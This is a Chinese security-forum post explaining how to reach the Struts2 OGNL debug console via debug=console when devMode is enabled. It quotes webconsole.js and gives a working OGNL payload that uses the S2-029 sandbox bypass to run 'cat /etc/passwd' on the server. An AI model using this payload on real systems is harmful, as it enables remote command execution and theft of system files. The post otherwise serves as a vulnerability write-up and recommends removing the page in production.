搜索
查看: 408|回复: 1

st2 webconsole.html页面ognl调试

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-12-17 18:51:14 | 显示全部楼层 |阅读模式
相关阅读:[姿势] Struts2的webconsole.html(OGNL console)利用


背景:

很多好伙伴说这个页面搞不了,自己也没有利用成功过,页面没有激活!


struts2支持的几种调试方式:

xml - Dumps the parameters, context, session, and value stack as anXML document.

console - Shows a popup 'OGNL Console' that allows the user to test OGNLexpressions against the value stack. The XML data from the 'xml' mode isinserted at the top of the page.

command - Tests an OGNL expression and returns the string result. Onlyused by the OGNL console.

browser Shows field values of an object specified in the object parameter (#context by default). When the object parameters is set, the '#' character needs to beescaped to '%23'. Like debug=browser&object=%23parameters

比较关注的是console 这种形式,提供了一个Ognl表达式的shell

Console模式核心代码在Webconsole.js:
function keyEvent(event, url) {
  switch (event.keyCode) {
    case 13:
      var the_shell_command = document.getElementById('wc-command').value;
      if (the_shell_command) {
        commands_history[commands_history.length] = the_shell_command;
        history_pointer = commands_history.length;
        var the_url = url ? url : window.opener.location.pathname;
        jQuery.post(the_url, jQuery("#wc-form").serialize(), function (data) {
          printResult(data);
        });
      }
      break;
    case 38: // this is the arrow up
      if (history_pointer > 0) {
        history_pointer--;
        document.getElementById('wc-command').value = commands_history[history_pointer];
      }
      break;
    case 40: // this is the arrow down
      if (history_pointer < commands_history.length - 1) {
        history_pointer++;
        document.getElementById('wc-command').value = commands_history[history_pointer];
      }
      break;
    default:
      break;
  }
}


var the_url = url ? url : window.opener.location.pathname;

注意这代码the_url赋值是从父窗体拿到的变量,所以通过浏览器直接访问struts/webconsole.html页面拿不到这个值,浏览器会报异常,所以我们误以为这个页面没有激活!

以为这个页面没有激活!

正确访问:

如果目标网站devMode=true,在任意一个action后面加载debug=console就会进入到下面的逻辑,此时前端可以拿到pathname这个值,所以可以正常交互。

[url=]http://192.168.1.108:8081/example/HelloWorld.action?debug=console[/url]



通过抓包可以看到console的实现也是走的command模式



被Struts2的沙盒拦截



webconsole执行代码:

利用st2-029漏洞的bypass struts2的安全管理器

#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=newjava.util.Scanner(#a.exec('cat/etc/passwd').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()


st2.5.5沙盒不能覆盖


设置devMode=false,从新部署项目,这个页面也是可以直接访问的!


结论:
漏洞能否利用取决于devMode是否开启,webconsole.html知识一个html页面而已,生产项目中是还是建议删除。
webconsole调试ognl的好工具。
https://my.oschina.net/u/1188877/blog/196240
http://struts.apache.org/docs/debugginginterceptor.html
[url=]http://issues.appfuse.org/browse/APF-1438[/url]
https://www.iswin.org/2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了

2

主题

52

帖子

196

积分

我是新手

Rank: 1

积分
196
发表于 2016-12-19 08:52:39 | 显示全部楼层
感谢大大经常分享好东西。
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表